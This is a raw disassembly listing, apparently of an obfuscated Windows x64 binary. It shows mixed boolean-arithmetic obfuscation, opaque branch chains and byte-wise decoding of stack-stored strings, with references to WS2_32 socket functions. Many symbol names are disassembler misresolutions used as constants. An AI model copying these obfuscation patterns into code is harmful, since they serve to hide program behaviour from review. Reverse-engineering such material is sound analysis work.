lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x14008dd45
sub r9b, 0x76
movzx eax, r9b
and al, r10b
mov ecx, Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008dd48
lea ecx, [r9 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
jmp 0x14008dd7b
sub r9b, 0x22
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x12
jmp 0x14008dda5
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x14008d493
lea ecx, [r9 - 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 3
cmp r8, 0x40
jb 0x14008dbb9
lea ecx, [r9 + 0x22]
movzx eax, cl
and al, r10b
mov edx, 9
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14008dca4
lea ecx, [r9 - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5d
cmp rbx, 5
jae 0x14008dbc6
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x14008db01
lea ecx, [r9 - 0x3a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6a
jmp 0x14008d821
lea ecx, [r9 + 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x49
lea rax, [r8 + rbx]
cmp rax, 0x40
je 0x14008dbe8
lea rax, [r8 + 4]
cmp rbx, rax
jbe 0x14008da54
lea ecx, [r9 - 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x39
jmp 0x14008d861
lea ecx, [r9 + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x72
jmp 0x14008dd7b
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
jmp 0x14008dd48
sub r9b, 0x2e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008dd45
lea ecx, [r9 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x14008dd0c
add r9b, 0x26
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xa
dec r11
inc r11
jmp 0x14008d493
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14008d493
lea ecx, [r9 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x56
jmp 0x14008dca4
lea rcx, [r8 + 3]
cmp rbx, rcx
jae 0x14008d9d7
lea ecx, [r9 - 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x53
jmp 0x14008d8a6
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008da0c
add r9b, 0xe
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x62
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x14008d493
cmp rbx, rcx
jne 0x14008da2c
lea ecx, [r9 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x16
jmp 0x14008dd7b
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008d8a6
lea ecx, [r9 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x14008dd0c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008da78
lea ecx, [r9 + 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6d
jmp 0x14008dca4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008daa4
sub r9b, 0x3f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x47
dec r11
inc r11
jmp 0x14008d493
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008dac8
lea ecx, [r9 + 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x51
jmp 0x14008dd7b
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14008d861
sub r9b, 0x3b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x63
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x14008d493
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008db39
add r9b, 0x1c
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x14008d493
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008db5d
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x14008dd7b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008db86
add r9b, 0x1e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008dd48
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008d821
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14008d493
mov byte [rbp + r11 + 0x70], dil
inc r11
jmp 0x14008d493
lea edx, [r9 + 0x78]
movzx eax, dl
and al, r10b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x48
add dil, dl
add dil, r10b
jmp 0x14008dd0c
lea edx, [r9 - 0x32]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008dd7b
add r9b, 0xd
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5b
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x14008d493
lea ecx, [r9 + 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x59
jmp 0x14008dd7b
add r9b, 0xb
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4d
jmp 0x14008dd48
sub r9b, 0x4d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x1b
inc r8
dec r11
inc r11
jmp 0x14008d493
lea ecx, [r9 + 0x5d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x75
sub r9b, 0x33
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x65
add r9b, r10b
mov byte [rbp + r11 + 0x70], r9b
inc r8
dec r11
inc r11
jmp 0x14008d493
lea ecx, [r11 + 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7d
inc r8
dec r11
inc r11
jmp 0x14008d493
movzx r9d, r11b
lea ecx, [r9 - 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x37
add r9b, 0x23
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0xb
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x70], cl
jmp 0x14008dd45
lea ecx, [r11 + 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6f
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14008d493
lea rcx, [r11 + r15]
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
add dil, 0x45
add dil, cl
movzx r9d, r11b
add r9b, 0x79
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x4f
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x70], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x70], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x14008d493
lea rcx, [r11 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 7
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x14008d493
sub r9b, 0x29
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x1f
jmp 0x14008d490
sub r9b, 0x7f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x79
jmp 0x14008d480
lea rdx, [rbp + 0x17e9f54]
jmp 0x14008de5f
lea rdx, [rbp + 0x9cc0ff]
jmp 0x14008de5f
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x6f0]
call fcn.140079b10
mov rdx, rax
lea rcx, [r12 + 0x258]
call fcn.140079ae0
mov byte [0x1404ac7b0], 1
mov dword [rbp + 0x30], 0x6a727161
mov dword [rbp + 0x34], 0x8769636a
xor eax, eax
mov qword [rbp + 0x38], rax
mov dword [rbp + 0x40], eax
movabs r14, 0xa5b500fedb66b140
movabs r15, 0xf11f02fc923413c0
movzx edi, byte [rsp + 0x40]
call fcn.14021eaf0
mov rbx, qword [rax]
call fcn.14021eae0
mov r8, qword [rax]
mov r10, r13
cmp r10, 0x14
jae 0x14008e648
movzx r9d, byte [rbp + r10 + 0x30]
mov esi, r9d
nop dword [rax + rax]
cmp rbx, r10
ja 0x14008e63f
lea rdx, [r8 + 1]
cmp rbx, rdx
jae 0x14008df14
lea rcx, [r10 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
add dil, 0x40
lea rcx, [r8 + 3]
lea r11, [r8 + 4]
jmp 0x14008df41
je 0x14008e5d0
lea rcx, [r8 + 3]
cmp rbx, rcx
je 0x14008e59e
lea r11, [r8 + 4]
cmp rbx, r11
je 0x14008e55c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008e534
cmp r8, r10
ja 0x14008e636
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x14008df6f
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008dfb0
cmp rbx, rdx
je 0x14008e4f3
cmp rbx, rcx
je 0x14008e2e0
cmp rbx, r11
je 0x14008e59e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008e317
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008e478
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008e18f
nop dword [rax]
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14008e16d
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14008e2ac
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008e14f
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14008e137
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14008e1f5
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 0x61]
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14008e619
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14008e5f9
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14008e0ad
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14008e198
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14008e11c
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14008dfc0
lea rbx, [r8 + 3]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14008e3a7
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14008e0fe
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14008e0e0
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14008e0c8
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14008e403
lea rbx, [r8 + 6]
lea r8, [rbx + 0x3e8]
jmp 0x14008dfc0
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x14008dee0
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r9b
jmp 0x14008e5b4
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x14008e5b7
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x14008e4b8
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x14008e343
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, r10b
jmp 0x14008e4b8
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x14008e5b4
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
movzx edx, r10b
jmp 0x14008e50c
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x14008e1ec
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [r8 + rbx]
cmp rax, 1
je 0x14008e455
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x14008e2ca
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008e343
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008e222
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
movzx eax, byte [rbp + r10 + 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x14008dec5
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008e24d
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
movzx edx, r10b
jmp 0x14008e491
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008e272
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, r10b
movzx r11d, r10b
jmp 0x14008e57a
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008e29f
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
dec r10
inc r10
jmp 0x14008dec5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008e1b2
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
inc r8
dec r10
inc r10
jmp 0x14008dec5
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008e4f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008e301
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
dec r10
inc r10
jmp 0x14008dec5
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008e59e
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008e336
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008e5b7
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008e478
cmp rbx, 0x1000
jae 0x14008e437
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x14008e39e
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
cmp r8, 0x41
jb 0x14008e42a
movzx edx, r10b
lea ecx, [rdx + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx + rcx]
jmp 0x14008e50c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008e3cb
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
movzx eax, byte [rbp + r10 + 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x14008dec5
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008e3f6
movzx r11d, r10b
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x14008e57a
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008e375
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
inc r8
dec r10
inc r10
jmp 0x14008dec5
mov byte [rbp + r10 + 0x30], dil
inc r10
jmp 0x14008dec5
movzx r11d, r10b
movzx eax, r9b
and al, r10b
add al, al
movzx edi, byte [rbp + r10 + 0x30]
sub dil, al
add dil, r10b
jmp 0x14008e577
movzx edx, r10b
lea ecx, [rdx + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x30]
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x14008e491
movzx edx, r10b
lea ecx, [rdx - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
sub dl, 0x40
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x40
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x30], al
inc r8
add rax, r8
sub r10, rax
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx eax, r10b
sub al, cl
add al, r9b
mov byte [rbp + r10 + 0x30], al
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x14008dec5
movzx edx, r10b
lea ecx, [rdx - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
sub dl, 0x40
movzx eax, r9b
and al, dl
add al, al
sub r9b, al
sub r9b, 0x40
add r9b, dl
mov byte [rbp + r10 + 0x30], r9b
inc r8
dec r10
inc r10
jmp 0x14008dec5
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14008dec5
movzx r11d, r10b
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add r11b, 0x40
movzx eax, r9b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
add cl, dil
mov byte [rbp + r10 + 0x30], cl
jmp 0x14008e5b4
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008dec5
lea rax, [r10 + r15]
and sil, al
add sil, sil
sub al, sil
lea edi, [r9 + rax]
sub dil, 0x40
movzx eax, byte [rbp + r10 + 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x14008dec5
add r10b, 0x40
movzx eax, r10b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14008dec2
sub r10b, 0x40
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x40
jmp 0x14008deb2
lea rdx, [rbp + 0x17f1730]
jmp 0x14008e64c
lea rdx, [rbp + 0xa5c870]
jmp 0x14008e64c
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x6f0]
call fcn.140079b10
mov rdx, rax
lea rcx, [rbp + 0x2b8]
call fcn.140080610
mov rdx, rax
mov rcx, r12
call fcn.140092f20
nop
mov rcx, qword [rbp + 0x740]
test rcx, rcx
je 0x14009087a
mov rdx, qword [rbp + 0x750]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140090863
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140090863
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov dword [rbp - 0x30], 0xccfef7f1
mov dword [rbp - 0x2c], 0xf5ccf6f6
mov word [rbp - 0x28], 0xf3c5
mov byte [rbp - 0x26], WSAGetLastError
xor eax, eax
mov qword [rbp - 0x25], rax
mov word [rbp - 0x1d], ax
mov byte [rbp - 0x1b], al
movabs rsi, 0x8f9ee41eb21a2251
movabs r14, 0xc96051442eb34d9
movabs r12, 0xed583cd6deb6f037
movabs r15, 0xaedcac5c164e66f3
nop word [rax + rax]
call fcn.14021eaf0
mov rbx, qword [rax]
call fcn.14021eae0
mov r8, qword [rax]
mov r10, r13
cmp r10, 0x16
jae 0x14008f133
movzx r9d, byte [rbp + r10 - 0x30]
mov rdx, r9
cmp rbx, r10
ja 0x14008f12a
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008e762
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x37
jmp 0x14008e7a0
je 0x14008f0bf
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008f03e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008f011
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008eff0
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008efac
nop dword [rax]
cmp r8, r10
ja 0x14008f121
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x14008e7ca
lea ecx, [r10 - 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7d
jmp 0x14008e810
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008ef90
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008ef4f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008ef34
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008ef19
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008eeef
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008ec6b
nop dword [rax]
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008ec48
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14008ec24
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14008ec03
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14008ebe0
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008ebc2
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008eba3
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008eb79
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14008e820
lea rbx, [r8 + 0xa]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14008f104
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14008f0e7
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14008e9a5
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14008e98a
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14008e96f
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14008ead0
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14008e820
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 8]
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14008eaa2
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14008ea87
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14008ea68
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14008ea49
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14008ea2b
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14008ea08
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14008e9e7
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14008e9bf
lea rbx, [r8 + 0x80]
lea r8, [rbx + 0x42]
jmp 0x14008e820
lea ecx, [r10 - 5]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x23
jmp 0x14008e810
lea ecx, [r10 + 0x59]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6f
jmp 0x14008e7a0
lea ecx, [r10 - 0x49]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
dec dil
jmp 0x14008e733
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_45
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14008e723
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
dec r10
inc r10
jmp 0x14008e723
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008ef69
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
add rbx, r8
jmp 0x14008f025
lea edx, [r10 - 2]
movzx eax, dl
and al, r9b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008f025
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008f058
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
jmp 0x14008f080
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_45
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x14008e723
lea ecx, [r10 - 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4b
lea rax, [r8 + rbx]
cmp rax, 5
je 0x14008eed3
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x14008ed47
lea ecx, [r10 + 0x4d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1b
cmp rbx, 0x28
jae 0x14008eeab
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x14008edf0
lea edx, [r10 - 0xe]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 3
jb 0x14008ee9e
movzx r11d, r10b
lea ecx, [r11 + 0x46]
movzx eax, cl
and al, r9b
mov edx, ntohl
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14008efc6
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x12
